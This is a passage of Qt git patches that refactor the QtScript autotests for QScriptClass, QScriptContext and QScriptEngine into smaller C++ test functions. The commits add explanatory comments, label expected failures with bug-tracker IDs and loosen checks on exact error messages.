actually used + // during property access, so this still works. + obj.setProperty("x", 123); + QVERIFY(obj.property("x").isNumber()); +} + +void tst_QScriptClass::scriptClassInOtherEngine() +{ + QScriptEngine eng; + TestClass cls(&eng); + QScriptEngine eng2; + // We don't check that the class is associated with another engine, so + // we only get a warning when trying to set the prototype of the new + // instance. + // This behavior is not documented and is subject to change. + QTest::ignoreMessage(QtWarningMsg, "QScriptValue::setPrototype() failed: cannot set a prototype created in a different engine"); + QScriptValue obj = eng2.newObject(&cls); + QVERIFY(obj.isObject()); + QCOMPARE(obj.scriptClass(), &cls); + + obj.setProperty("x", 123); + QVERIFY(obj.property("x").isNumber()); +} + QTEST_MAIN(tst_QScriptClass) #include "tst_qscriptclass.moc" -- cgit v0.12 From 74c91e9f6de56728de5472b9d7c2372e480f37b3 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 10:29:22 +0100 Subject: Split QScriptContext autotest into smaller functions Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- tests/auto/qscriptcontext/tst_qscriptcontext.cpp | 330 +++++++++++++---------- 1 file changed, 194 insertions(+), 136 deletions(-) diff --git a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp index cb6311e..eee67df 100644 --- a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp +++ b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp @@ -66,7 +66,9 @@ public: private slots: void callee(); + void callee_implicitCall(); void arguments(); + void argumentsInJS(); void thisObject(); void returnValue(); void throwError_data(); @@ -77,16 +79,24 @@ private slots: void throwValue(); void evaluateInFunction(); void pushAndPopContext(); + void pushAndPopContext_variablesInActivation(); + void pushAndPopContext_setThisObject(); + void pushAndPopContext_throwException(); void lineNumber(); void backtrace_data(); void backtrace(); - void scopeChain(); - void pushAndPopScope(); - void getSetActivationObject(); + void scopeChain_globalContext(); + void scopeChain_closure(); + void scopeChain_withStatement(); + void pushAndPopScope_globalContext(); + void pushAndPopScope_globalContext2(); + void getSetActivationObject_globalContext(); void getSetActivationObject_customContext(); void inheritActivationAndThisObject(); void toString(); - void calledAsConstructor(); + void calledAsConstructor_fromCpp(); + void calledAsConstructor_fromJS(); + void calledAsConstructor_parentContext(); void argumentsObjectInNative(); void jsActivationObject(); void qobjectAsActivationObject(); @@ -121,33 +131,33 @@ void tst_QScriptContext::callee() { QScriptEngine eng; - { - QScriptValue fun = eng.newFunction(get_callee); - fun.setProperty("foo", QScriptValue(&eng, "bar")); - eng.globalObject().setProperty("get_callee", fun); + QScriptValue fun = eng.newFunction(get_callee); + fun.setProperty("foo", QScriptValue(&eng, "bar")); + eng.globalObject().setProperty("get_callee", fun); - QScriptValue result = eng.evaluate("get_callee()"); - QCOMPARE(result.isFunction(), true); - QCOMPARE(result.property("foo").toString(), QString("bar")); - } + QScriptValue result = eng.evaluate("get_callee()"); + QCOMPARE(result.isFunction(), true); + QCOMPARE(result.property("foo").toString(), QString("bar")); +} +void tst_QScriptContext::callee_implicitCall() +{ + QScriptEngine eng; // callee when toPrimitive() is called internally - { - QScriptValue fun = eng.newFunction(store_callee_and_return_primitive); - QScriptValue obj = eng.newObject(); - obj.setProperty("toString", fun); - QVERIFY(!obj.property("callee").isValid()); - (void)obj.toString(); - QVERIFY(obj.property("callee").isFunction()); - QVERIFY(obj.property("callee").strictlyEquals(fun)); - - obj.setProperty("callee", QScriptValue()); - QVERIFY(!obj.property("callee").isValid()); - obj.setProperty("valueOf", fun); - (void)obj.toNumber(); - QVERIFY(obj.property("callee").isFunction()); - QVERIFY(obj.property("callee").strictlyEquals(fun)); - } + QScriptValue fun = eng.newFunction(store_callee_and_return_primitive); + QScriptValue obj = eng.newObject(); + obj.setProperty("toString", fun); + QVERIFY(!obj.property("callee").isValid()); + (void)obj.toString(); + QVERIFY(obj.property("callee").isFunction()); + QVERIFY(obj.property("callee").strictlyEquals(fun)); + + obj.setProperty("callee", QScriptValue()); + QVERIFY(!obj.property("callee").isValid()); + obj.setProperty("valueOf", fun); + (void)obj.toNumber(); + QVERIFY(obj.property("callee").isFunction()); + QVERIFY(obj.property("callee").strictlyEquals(fun)); } static QScriptValue get_arguments(QScriptContext *ctx, QScriptEngine *eng) @@ -167,6 +177,8 @@ void tst_QScriptContext::arguments() { QScriptEngine eng; + // See section 10.6 ("Arguments Object") of ECMA-262. + { QScriptValue args = eng.currentContext()->argumentsObject(); QVERIFY(args.isObject()); @@ -178,6 +190,8 @@ void tst_QScriptContext::arguments() } for (int x = 0; x < 2; ++x) { + // The expected arguments array should be the same regardless of + // whether get_arguments() is called as a constructor. QString prefix; if (x == 0) prefix = ""; @@ -224,11 +238,15 @@ void tst_QScriptContext::arguments() QCOMPARE(result.propertyFlags("length"), QScriptValue::SkipInEnumeration); QCOMPARE(result.property("callee").strictlyEquals(fun), true); QCOMPARE(result.propertyFlags("callee"), QScriptValue::SkipInEnumeration); + + // callee and length properties should be writable. QScriptValue replacedCallee(&eng, 123); result.setProperty("callee", replacedCallee); QVERIFY(result.property("callee").equals(replacedCallee)); QScriptValue replacedLength(&eng, 456); result.setProperty("length", replacedLength); + + // callee and length properties should be deletable. QVERIFY(result.property("length").equals(replacedLength)); result.setProperty("callee", QScriptValue()); QVERIFY(!result.property("callee").isValid()); @@ -262,28 +280,31 @@ void tst_QScriptContext::arguments() QCOMPARE(result.property("2").toBoolean(), true); QCOMPARE(result.property("3").isUndefined(), true); } + } +} - // arguments object returned from script - { - QScriptValue result = eng.evaluate("(function() { return arguments; })(123)"); - QCOMPARE(result.isArray(), false); - QVERIFY(result.isObject()); - QCOMPARE(result.property("length").toUInt32(), quint32(1)); - QCOMPARE(result.property("0").isNumber(), true); - QCOMPARE(result.property("0").toNumber(), 123.0); - } +void tst_QScriptContext::argumentsInJS() +{ + QScriptEngine eng; + { + QScriptValue result = eng.evaluate("(function() { return arguments; })(123)"); + QCOMPARE(result.isArray(), false); + QVERIFY(result.isObject()); + QCOMPARE(result.property("length").toUInt32(), quint32(1)); + QCOMPARE(result.property("0").isNumber(), true); + QCOMPARE(result.property("0").toNumber(), 123.0); + } - { - QScriptValue result = eng.evaluate("(function() { return arguments; })('ciao', null, true, undefined)"); - QCOMPARE(result.isArray(), false); - QCOMPARE(result.property("length").toUInt32(), quint32(4)); - QCOMPARE(result.property("0").isString(), true); - QCOMPARE(result.property("0").toString(), QString("ciao")); - QCOMPARE(result.property("1").isNull(), true); - QCOMPARE(result.property("2").isBoolean(), true); - QCOMPARE(result.property("2").toBoolean(), true); - QCOMPARE(result.property("3").isUndefined(), true); - } + { + QScriptValue result = eng.evaluate("(function() { return arguments; })('ciao', null, true, undefined)"); + QCOMPARE(result.isArray(), false); + QCOMPARE(result.property("length").toUInt32(), quint32(4)); + QCOMPARE(result.property("0").isString(), true); + QCOMPARE(result.property("0").toString(), QString("ciao")); + QCOMPARE(result.property("1").isNull(), true); + QCOMPARE(result.property("2").isBoolean(), true); + QCOMPARE(result.property("2").toBoolean(), true); + QCOMPARE(result.property("3").isUndefined(), true); } } @@ -517,58 +538,65 @@ void tst_QScriptContext::pushAndPopContext() QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::popContext() doesn't match with pushContext()"); eng.popContext(); QCOMPARE(eng.currentContext(), topLevel); +} - { - QScriptContext *ctx3 = eng.pushContext(); - ctx3->activationObject().setProperty("foo", QScriptValue(&eng, 123)); - QVERIFY(eng.evaluate("foo").strictlyEquals(QScriptValue(&eng, 123))); - QCOMPARE(ctx3->activationObject().propertyFlags("foo"), QScriptValue::PropertyFlags(0)); - - ctx3->activationObject().setProperty(4, 456); - QVERIFY(ctx3->activationObject().property(4, QScriptValue::ResolveLocal).equals(456)); - - eng.evaluate("var bar = 'ciao'"); - QVERIFY(ctx3->activationObject().property("bar", QScriptValue::ResolveLocal).strictlyEquals(QScriptValue(&eng, "ciao"))); - - ctx3->activationObject().setProperty("baz", 789, QScriptValue::ReadOnly); - QVERIFY(eng.evaluate("baz").equals(789)); - QCOMPARE(ctx3->activationObject().propertyFlags("baz"), QScriptValue::ReadOnly); - - QSet activationPropertyNames; - QScriptValueIterator it(ctx3->activationObject()); - while (it.hasNext()) { - it.next(); - activationPropertyNames.insert(it.name()); - } - QCOMPARE(activationPropertyNames.size(), 4); - QVERIFY(activationPropertyNames.contains("foo")); - QVERIFY(activationPropertyNames.contains("4")); - QVERIFY(activationPropertyNames.contains("bar")); - QVERIFY(activationPropertyNames.contains("baz")); - - eng.popContext(); +void tst_QScriptContext::pushAndPopContext_variablesInActivation() +{ + QScriptEngine eng; + QScriptContext *ctx = eng.pushContext(); + ctx->activationObject().setProperty("foo", QScriptValue(&eng, 123)); + // evaluate() should use the current context. + QVERIFY(eng.evaluate("foo").strictlyEquals(QScriptValue(&eng, 123))); + QCOMPARE(ctx->activationObject().propertyFlags("foo"), QScriptValue::PropertyFlags(0)); + + ctx->activationObject().setProperty(4, 456); + QVERIFY(ctx->activationObject().property(4, QScriptValue::ResolveLocal).equals(456)); + + // New JS variables should become properties of the current context's activation. + eng.evaluate("var bar = 'ciao'"); + QVERIFY(ctx->activationObject().property("bar", QScriptValue::ResolveLocal).strictlyEquals(QScriptValue(&eng, "ciao"))); + + ctx->activationObject().setProperty("baz", 789, QScriptValue::ReadOnly); + QVERIFY(eng.evaluate("baz").equals(789)); + QCOMPARE(ctx->activationObject().propertyFlags("baz"), QScriptValue::ReadOnly); + + QSet activationPropertyNames; + QScriptValueIterator it(ctx->activationObject()); + while (it.hasNext()) { + it.next(); + activationPropertyNames.insert(it.name()); } + QCOMPARE(activationPropertyNames.size(), 4); + QVERIFY(activationPropertyNames.contains("foo")); + QVERIFY(activationPropertyNames.contains("4")); + QVERIFY(activationPropertyNames.contains("bar")); + QVERIFY(activationPropertyNames.contains("baz")); - { - QScriptContext *ctx4 = eng.pushContext(); - QScriptValue obj = eng.newObject(); - obj.setProperty("prop", QScriptValue(&eng, 456)); - ctx4->setThisObject(obj); - QScriptValue ret = eng.evaluate("var tmp = this.prop; tmp + 1"); - QCOMPARE(eng.currentContext(), ctx4); - QVERIFY(ret.strictlyEquals(QScriptValue(&eng, 457))); - eng.popContext(); - } + eng.popContext(); +} - // throwing an exception - { - QScriptContext *ctx5 = eng.pushContext(); - QScriptValue ret = eng.evaluate("throw new Error('oops')"); - QVERIFY(ret.isError()); - QVERIFY(eng.hasUncaughtException()); - QCOMPARE(eng.currentContext(), ctx5); - eng.popContext(); - } +void tst_QScriptContext::pushAndPopContext_setThisObject() +{ + QScriptEngine eng; + QScriptContext *ctx = eng.pushContext(); + QScriptValue obj = eng.newObject(); + obj.setProperty("prop", QScriptValue(&eng, 456)); + ctx->setThisObject(obj); + QScriptValue ret = eng.evaluate("var tmp = this.prop; tmp + 1"); + QCOMPARE(eng.currentContext(), ctx); + QVERIFY(ret.strictlyEquals(QScriptValue(&eng, 457))); + eng.popContext(); +} + +void tst_QScriptContext::pushAndPopContext_throwException() +{ + QScriptEngine eng; + QScriptContext *ctx = eng.pushContext(); + QScriptValue ret = eng.evaluate("throw new Error('oops')"); + QVERIFY(ret.isError()); + QVERIFY(eng.hasUncaughtException()); + QCOMPARE(eng.currentContext(), ctx); + eng.popContext(); } void tst_QScriptContext::popNativeContextScope() @@ -596,7 +624,7 @@ void tst_QScriptContext::popNativeContextScope() QVERIFY(ctx->activationObject().strictlyEquals(customScope)); QCOMPARE(ctx->scopeChain().size(), 2); QVERIFY(ctx->scopeChain().at(0).strictlyEquals(customScope)); - QEXPECT_FAIL("", "QTBUG-11012", Continue); + QEXPECT_FAIL("", "QTBUG-11012: Global object is replaced in scope chain", Continue); QVERIFY(ctx->scopeChain().at(1).strictlyEquals(eng.globalObject())); QVERIFY(!eng.evaluate("baz = 456; var foo = 789; function barbar() {}").isError()); @@ -918,7 +946,7 @@ static QScriptValue getScopeChain(QScriptContext *ctx, QScriptEngine *eng) return qScriptValueFromValue(eng, ctx->parentContext()->scopeChain()); } -void tst_QScriptContext::scopeChain() +void tst_QScriptContext::scopeChain_globalContext() { QScriptEngine eng; { @@ -932,19 +960,35 @@ void tst_QScriptContext::scopeChain() QCOMPARE(ret.size(), 1); QVERIFY(ret.at(0).strictlyEquals(eng.globalObject())); } - { - eng.evaluate("function foo() { function bar() { return getScopeChain(); } return bar() }"); - QScriptValueList ret = qscriptvalue_cast(eng.evaluate("foo()")); - QEXPECT_FAIL("", "Number of items in returned scope chain is incorrect", Abort); - QCOMPARE(ret.size(), 3); - QVERIFY(ret.at(2).strictlyEquals(eng.globalObject())); - QCOMPARE(ret.at(1).toString(), QString::fromLatin1("activation")); - QVERIFY(ret.at(1).property("arguments").isObject()); - QCOMPARE(ret.at(0).toString(), QString::fromLatin1("activation")); - QVERIFY(ret.at(0).property("arguments").isObject()); - } +} + +void tst_QScriptContext::scopeChain_closure() +{ + QScriptEngine eng; + eng.globalObject().setProperty("getScopeChain", eng.newFunction(getScopeChain)); + + eng.evaluate("function foo() { function bar() { return getScopeChain(); } return bar() }"); + QScriptValueList ret = qscriptvalue_cast(eng.evaluate("foo()")); + // JSC will not create an activation for bar() unless we insert a call + // to eval() in the function body; JSC has no way of knowing that the + // native function will be asking for the activation, and we don't want + // to needlessly create it. + QEXPECT_FAIL("", "QTBUG-10313: JSC optimizes away the activation object", Abort); + QCOMPARE(ret.size(), 3); + QVERIFY(ret.at(2).strictlyEquals(eng.globalObject())); + QCOMPARE(ret.at(1).toString(), QString::fromLatin1("activation")); + QVERIFY(ret.at(1).property("arguments").isObject()); + QCOMPARE(ret.at(0).toString(), QString::fromLatin1("activation")); + QVERIFY(ret.at(0).property("arguments").isObject()); +} + +void tst_QScriptContext::scopeChain_withStatement() +{ + QScriptEngine eng; + eng.globalObject().setProperty("getScopeChain", eng.newFunction(getScopeChain)); { QScriptValueList ret = qscriptvalue_cast(eng.evaluate("o = { x: 123 }; with(o) getScopeChain();")); + QEXPECT_FAIL("", "QTBUG-17131: with-scope isn't reflected by QScriptContext", Abort); QCOMPARE(ret.size(), 2); QVERIFY(ret.at(1).strictlyEquals(eng.globalObject())); QVERIFY(ret.at(0).isObject()); @@ -962,7 +1006,7 @@ void tst_QScriptContext::scopeChain() } } -void tst_QScriptContext::pushAndPopScope() +void tst_QScriptContext::pushAndPopScope_globalContext() { QScriptEngine eng; QScriptContext *ctx = eng.currentContext(); @@ -1019,14 +1063,19 @@ void tst_QScriptContext::pushAndPopScope() ctx->pushScope(QScriptValue()); QCOMPARE(ctx->scopeChain().size(), 1); +} +void tst_QScriptContext::pushAndPopScope_globalContext2() +{ + QScriptEngine eng; + QScriptContext *ctx = eng.currentContext(); QVERIFY(ctx->popScope().strictlyEquals(eng.globalObject())); QVERIFY(ctx->scopeChain().isEmpty()); // Used to work with old back-end, doesn't with new one because JSC requires that the last object in // a scope chain is the Global Object. QTest::ignoreMessage(QtWarningMsg, "QScriptContext::pushScope() failed: initial object in scope chain has to be the Global Object"); - ctx->pushScope(obj); + ctx->pushScope(eng.newObject()); QCOMPARE(ctx->scopeChain().size(), 0); QScriptEngine eng2; @@ -1043,7 +1092,7 @@ static QScriptValue get_activationObject(QScriptContext *ctx, QScriptEngine *) return ctx->activationObject(); } -void tst_QScriptContext::getSetActivationObject() +void tst_QScriptContext::getSetActivationObject_globalContext() { QScriptEngine eng; QScriptContext *ctx = eng.currentContext(); @@ -1076,7 +1125,7 @@ void tst_QScriptContext::getSetActivationObject() QScriptValue ret = eng.evaluate("get_activationObject(1, 2, 3)"); QVERIFY(ret.isObject()); QScriptValue arguments = ret.property("arguments"); - QEXPECT_FAIL("", "Getting arguments property of activation object doesn't work", Abort); + QEXPECT_FAIL("", "QTBUG-17136: arguments property of activation object is missing", Abort); QVERIFY(arguments.isObject()); QCOMPARE(arguments.property("length").toInt32(), 3); QCOMPARE(arguments.property("0").toInt32(), 1); @@ -1099,6 +1148,8 @@ void tst_QScriptContext::getSetActivationObject_customContext() QCOMPARE(act.property("foo").toInt32(), 123); } +// Helper function that's intended to have the same behavior +// as the built-in eval() function. static QScriptValue myEval(QScriptContext *ctx, QScriptEngine *eng) { QString code = ctx->argument(0).toString(); @@ -1127,13 +1178,14 @@ void tst_QScriptContext::inheritActivationAndThisObject() QCOMPARE(ret.toInt32(), 123); } - // QT-2219 { eng.globalObject().setProperty("a", 123); QScriptValue ret = eng.evaluate("(function() { myEval('var a = 456'); return a; })()"); QVERIFY(ret.isNumber()); QCOMPARE(ret.toInt32(), 456); - QEXPECT_FAIL("", "QT-2219: Wrong activation object is returned from native function's parent context", Continue); + // Since JSC doesn't create an activation object for the anonymous function call, + // myEval() will use the global object as the activation, which is wrong. + QEXPECT_FAIL("", "QTBUG-10313: Wrong activation object is returned from native function's parent context", Continue); QVERIFY(eng.globalObject().property("a").strictlyEquals(123)); } } @@ -1172,11 +1224,11 @@ static QScriptValue storeCalledAsConstructorV3(QScriptContext *ctx, QScriptEngin return eng->undefinedValue(); } -void tst_QScriptContext::calledAsConstructor() +void tst_QScriptContext::calledAsConstructor_fromCpp() { QScriptEngine eng; - QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor); { + QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor); fun1.call(); QVERIFY(!fun1.property("calledAsConstructor").toBool()); fun1.construct(); @@ -1189,25 +1241,31 @@ void tst_QScriptContext::calledAsConstructor() fun.construct(); QVERIFY(fun.property("calledAsConstructor").toBool()); } - { - eng.globalObject().setProperty("fun1", fun1); - eng.evaluate("fun1();"); - QVERIFY(!fun1.property("calledAsConstructor").toBool()); - eng.evaluate("new fun1();"); - QVERIFY(fun1.property("calledAsConstructor").toBool()); - } - { - QScriptValue fun3 = eng.newFunction(storeCalledAsConstructorV3); - eng.globalObject().setProperty("fun3", fun3); - eng.evaluate("function test() { fun3() }"); - eng.evaluate("test();"); - QVERIFY(!fun3.property("calledAsConstructor").toBool()); - eng.evaluate("new test();"); - if (qt_script_isJITEnabled()) - QEXPECT_FAIL("", "QTBUG-6132: calledAsConstructor is not correctly set for JS functions when JIT is enabled", Continue); - QVERIFY(fun3.property("calledAsConstructor").toBool()); - } +} + +void tst_QScriptContext::calledAsConstructor_fromJS() +{ + QScriptEngine eng; + QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor); + eng.globalObject().setProperty("fun1", fun1); + eng.evaluate("fun1();"); + QVERIFY(!fun1.property("calledAsConstructor").toBool()); + eng.evaluate("new fun1();"); + QVERIFY(fun1.property("calledAsConstructor").toBool()); +} +void tst_QScriptContext::calledAsConstructor_parentContext() +{ + QScriptEngine eng; + QScriptValue fun3 = eng.newFunction(storeCalledAsConstructorV3); + eng.globalObject().setProperty("fun3", fun3); + eng.evaluate("function test() { fun3() }"); + eng.evaluate("test();"); + QVERIFY(!fun3.property("calledAsConstructor").toBool()); + eng.evaluate("new test();"); + if (qt_script_isJITEnabled()) + QEXPECT_FAIL("", "QTBUG-6132: calledAsConstructor is not correctly set for JS functions when JIT is enabled", Continue); + QVERIFY(fun3.property("calledAsConstructor").toBool()); } static QScriptValue argumentsObjectInNative_test1(QScriptContext *ctx, QScriptEngine *eng) @@ -1269,7 +1327,7 @@ void tst_QScriptContext::jsActivationObject() QScriptValue result1 = eng.evaluate("f2('hello', 'useless', 'world')"); QScriptValue result2 = eng.evaluate("f3()"); QVERIFY(result1.isObject()); - QEXPECT_FAIL("", "JSC optimize away the activation object", Abort); + QEXPECT_FAIL("", "QTBUG-10313: JSC optimizes away the activation object", Abort); QCOMPARE(result1.property("v1").toInt32() , 42); QCOMPARE(result1.property("arguments").property(1).toString() , QString::fromLatin1("useless")); QVERIFY(result2.isObject()); -- cgit v0.12 From e3be9077b284174a97bff82f52ffbfda11369d18 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 15:18:33 +0100 Subject: Split QScriptEngine test into smaller functions Also add comments to clarify what we're testing, and remove dependency on precise error messages (we don't care what the precise wording of an error is, only that it is e.g. a TypeError). Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- tests/auto/qscriptengine/tst_qscriptengine.cpp | 856 +++++++++++++++---------- 1 file changed, 529 insertions(+), 327 deletions(-) diff --git a/tests/auto/qscriptengine/tst_qscriptengine.cpp b/tests/auto/qscriptengine/tst_qscriptengine.cpp index 956f06c..2f7e0b5 100644 --- a/tests/auto/qscriptengine/tst_qscriptengine.cpp +++ b/tests/auto/qscriptengine/tst_qscriptengine.cpp @@ -93,7 +93,8 @@ private slots: void constructWithParent(); void currentContext(); void pushPopContext(); - void getSetDefaultPrototype(); + void getSetDefaultPrototype_int(); + void getSetDefaultPrototype_customType(); void newFunction(); void newFunctionWithArg(); void newFunctionWithProto(); @@ -109,7 +110,9 @@ private slots: void newVariant_promoteNonObject(); void newVariant_promoteNonQScriptObject(); void newRegExp(); + void jsRegExp(); void newDate(); + void jsParseDate(); void newQObject(); void newQObject_ownership(); void newQObject_promoteObject(); @@ -121,6 +124,7 @@ private slots: void newActivationObject(); void getSetGlobalObject(); void globalObjectProperties(); + void globalObjectProperties_enumerate(); void createGlobalObjectProperty(); void globalObjectGetterSetterProperty(); void customGlobalObjectWithPrototype(); @@ -136,7 +140,14 @@ private slots: void nestedEvaluate(); void uncaughtException(); void errorMessage_QT679(); - void valueConversion(); + void valueConversion_basic(); + void valueConversion_customType(); + void valueConversion_sequence(); + void valueConversion_QVariant(); + void valueConversion_hooliganTask248802(); + void valueConversion_basic2(); + void valueConversion_dateTime(); + void valueConversion_regExp(); void qScriptValueFromValue_noEngine(); void importExtension(); void infiniteRecursion(); @@ -152,32 +163,51 @@ private slots: void numberParsing_data(); void numberParsing(); void automaticSemicolonInsertion(); + void abortEvaluation_notEvaluating(); void abortEvaluation(); + void abortEvaluation_tryCatch(); + void abortEvaluation_fromNative(); void abortEvaluation_QTBUG9433(); - void isEvaluating(); + void isEvaluating_notEvaluating(); + void isEvaluating_fromNative(); + void isEvaluating_fromEvent(); void printFunctionWithCustomHandler(); void printThrowsException(); void errorConstructors(); - void argumentsProperty(); - void numberClass(); - void forInStatement(); - void functionExpression(); + void argumentsProperty_globalContext(); + void argumentsProperty_JS(); + void argumentsProperty_evaluateInNativeFunction(); + void jsNumberClass(); + void jsForInStatement_simple(); + void jsForInStatement_prototypeProperties(); + void jsForInStatement_mutateWhileIterating(); + void jsForInStatement_arrays(); + void jsForInStatement_nullAndUndefined(); + void jsFunctionDeclarationAsStatement(); void stringObjects(); + void jsStringPrototypeReplaceBugs(); void getterSetterThisObject_global(); void getterSetterThisObject_plain(); void getterSetterThisObject_prototypeChain(); void getterSetterThisObject_activation(); - void continueInSwitch(); - void readOnlyPrototypeProperty(); + void jsContinueInSwitch(); + void jsShadowReadOnlyPrototypeProperty(); void toObject(); - void reservedWords_data(); - void reservedWords(); - void futureReservedWords_data(); - void futureReservedWords(); - void throwInsideWithStatement(); - void getSetAgent(); - void reentrancy(); - void incDecNonObjectProperty(); + void jsReservedWords_data(); + void jsReservedWords(); + void jsFutureReservedWords_data(); + void jsFutureReservedWords(); + void jsThrowInsideWithStatement(); + void getSetAgent_ownership(); + void getSetAgent_deleteAgent(); + void getSetAgent_differentEngine(); + void reentrancy_stringHandles(); + void reentrancy_processEventsInterval(); + void reentrancy_typeConversion(); + void reentrancy_globalObjectProperties(); + void reentrancy_Array(); + void reentrancy_objectCreation(); + void jsIncDecNonObjectProperty(); void installTranslatorFunctions_data(); void installTranslatorFunctions(); void translateScript_data(); @@ -609,54 +639,65 @@ void tst_QScriptEngine::newRegExp() QCOMPARE(rexp.toRegExp().pattern(), QRegExp("foo").pattern()); } - { - QScriptValue r = eng.evaluate("/foo/gim"); - QVERIFY(r.isRegExp()); - QCOMPARE(r.toString(), QString::fromLatin1("/foo/gim")); +} + +void tst_QScriptEngine::jsRegExp() +{ + // See ECMA-262 Section 15.10, "RegExp Objects". + // These should really be JS-only tests, as they test the implementation's + // ECMA-compliance, not the C++ API. Compliance should already be covered + // by the Mozilla tests (qscriptjstestsuite). + // We can consider updating the expected results of this test if the + // RegExp implementation changes. - QScriptValue rxCtor = eng.globalObject().property("RegExp"); - QScriptValue r2 = rxCtor.call(QScriptValue(), QScriptValueList() << r); - QVERIFY(r2.isRegExp()); - QVERIFY(r2.strictlyEquals(r)); + QScriptEngine eng; + QScriptValue r = eng.evaluate("/foo/gim"); + QVERIFY(r.isRegExp()); + QCOMPARE(r.toString(), QString::fromLatin1("/foo/gim")); - QScriptValue r3 = rxCtor.call(QScriptValue(), QScriptValueList() << r << "gim"); - QVERIFY(r3.isError()); - QCOMPARE(r3.toString(), QString::fromLatin1("TypeError: Cannot supply flags when constructing one RegExp from another.")); + QScriptValue rxCtor = eng.globalObject().property("RegExp"); + QScriptValue r2 = rxCtor.call(QScriptValue(), QScriptValueList() << r); + QVERIFY(r2.isRegExp()); + QVERIFY(r2.strictlyEquals(r)); - QScriptValue r4 = rxCtor.call(QScriptValue(), QScriptValueList() << "foo" << "gim"); - QVERIFY(r4.isRegExp()); + QScriptValue r3 = rxCtor.call(QScriptValue(), QScriptValueList() << r << "gim"); + QVERIFY(r3.isError()); + QVERIFY(r3.toString().contains(QString::fromLatin1("TypeError"))); // Cannot supply flags when constructing one RegExp from another - QScriptValue r5 = rxCtor.construct(QScriptValueList() << r); - QVERIFY(r5.isRegExp()); - QCOMPARE(r5.toString(), QString::fromLatin1("/foo/gim")); - // In JSC, constructing a RegExp from another produces the same identical object. - // This is different from SpiderMonkey and old back-end. - QVERIFY(r5.strictlyEquals(r)); + QScriptValue r4 = rxCtor.call(QScriptValue(), QScriptValueList() << "foo" << "gim"); + QVERIFY(r4.isRegExp()); - QScriptValue r6 = rxCtor.construct(QScriptValueList() << "foo" << "bar"); - QVERIFY(r6.isError()); - QCOMPARE(r6.toString(), QString::fromLatin1("SyntaxError: Invalid regular expression: invalid regular expression flag")); + QScriptValue r5 = rxCtor.construct(QScriptValueList() << r); + QVERIFY(r5.isRegExp()); + QCOMPARE(r5.toString(), QString::fromLatin1("/foo/gim")); + // In JSC, constructing a RegExp from another produces the same identical object. + // This is different from SpiderMonkey and old back-end. + QVERIFY(r5.strictlyEquals(r)); - QScriptValue r7 = eng.evaluate("/foo/gimp"); - QVERIFY(r7.isError()); - QCOMPARE(r7.toString(), QString::fromLatin1("SyntaxError: Invalid regular expression: invalid regular expression flag")); + QScriptValue r6 = rxCtor.construct(QScriptValueList() << "foo" << "bar"); + QVERIFY(r6.isError()); + QVERIFY(r6.toString().contains(QString::fromLatin1("SyntaxError"))); // Invalid regular expression flag - QScriptValue r8 = eng.evaluate("/foo/migmigmig"); - QVERIFY(r8.isRegExp()); - QCOMPARE(r8.toString(), QString::fromLatin1("/foo/gim")); + QScriptValue r7 = eng.evaluate("/foo/gimp"); + QVERIFY(r7.isError()); + QVERIFY(r7.toString().contains(QString::fromLatin1("SyntaxError"))); // Invalid regular expression flag - QScriptValue r9 = rxCtor.construct(); - QVERIFY(r9.isRegExp()); - QCOMPARE(r9.toString(), QString::fromLatin1("/(?:)/")); + // JSC doesn't complain about duplicate flags. + QScriptValue r8 = eng.evaluate("/foo/migmigmig"); + QVERIFY(r8.isRegExp()); + QCOMPARE(r8.toString(), QString::fromLatin1("/foo/gim")); - QScriptValue r10 = rxCtor.construct(QScriptValueList() << "" << "gim"); - QVERIFY(r10.isRegExp()); - QCOMPARE(r10.toString(), QString::fromLatin1("/(?:)/gim")); + QScriptValue r9 = rxCtor.construct(); + QVERIFY(r9.isRegExp()); + QCOMPARE(r9.toString(), QString::fromLatin1("/(?:)/")); - QScriptValue r11 = rxCtor.construct(QScriptValueList() << "{1.*}" << "g"); - QVERIFY(r11.isRegExp()); - QCOMPARE(r11.toString(), QString::fromLatin1("/{1.*}/g")); - } + QScriptValue r10 = rxCtor.construct(QScriptValueList() << "" << "gim"); + QVERIFY(r10.isRegExp()); + QCOMPARE(r10.toString(), QString::fromLatin1("/(?:)/gim")); + + QScriptValue r11 = rxCtor.construct(QScriptValueList() << "{1.*}" << "g"); + QVERIFY(r11.isRegExp()); + QCOMPARE(r11.toString(), QString::fromLatin1("/{1.*}/g")); } void tst_QScriptEngine::newDate() @@ -695,7 +736,11 @@ void tst_QScriptEngine::newDate() // toDateTime() result should be in local time QCOMPARE(date.toDateTime(), dt.toLocalTime()); } +} +void tst_QScriptEngine::jsParseDate() +{ + QScriptEngine eng; // Date.parse() should return NaN when it fails { QScriptValue ret = eng.evaluate("Date.parse()"); @@ -1196,6 +1241,8 @@ static QScriptValue getSetFoo(QScriptContext *ctx, QScriptEngine *) void tst_QScriptEngine::globalObjectProperties() { + // See ECMA-262 Section 15.1, "The Global Object". + QScriptEngine eng; QScriptValue global = eng.globalObject(); @@ -1271,8 +1318,13 @@ void tst_QScriptEngine::globalObjectProperties() QVERIFY(!global.property("Math").isFunction()); QEXPECT_FAIL("", "[ECMA compliance] JSC sets DontDelete flag for Math object", Continue); QCOMPARE(global.propertyFlags("Math"), QScriptValue::SkipInEnumeration); +} + +void tst_QScriptEngine::globalObjectProperties_enumerate() +{ + QScriptEngine eng; + QScriptValue global = eng.globalObject(); - // enumeration QSet expectedNames; expectedNames << "isNaN" @@ -1500,7 +1552,7 @@ void tst_QScriptEngine::globalObjectWithCustomPrototype() { QScriptValue ret = engine.evaluate("this.__proto__ = { 'a': 123 }; a"); QVERIFY(ret.isNumber()); - QEXPECT_FAIL("", "QTBUG-9737", Continue); + QEXPECT_FAIL("", "QTBUG-9737: Prototype change in JS not reflected on C++ side", Continue); QVERIFY(ret.strictlyEquals(global.property("a"))); } } @@ -1510,7 +1562,9 @@ void tst_QScriptEngine::builtinFunctionNames_data() QTest::addColumn("expression"); QTest::addColumn("expectedName"); - 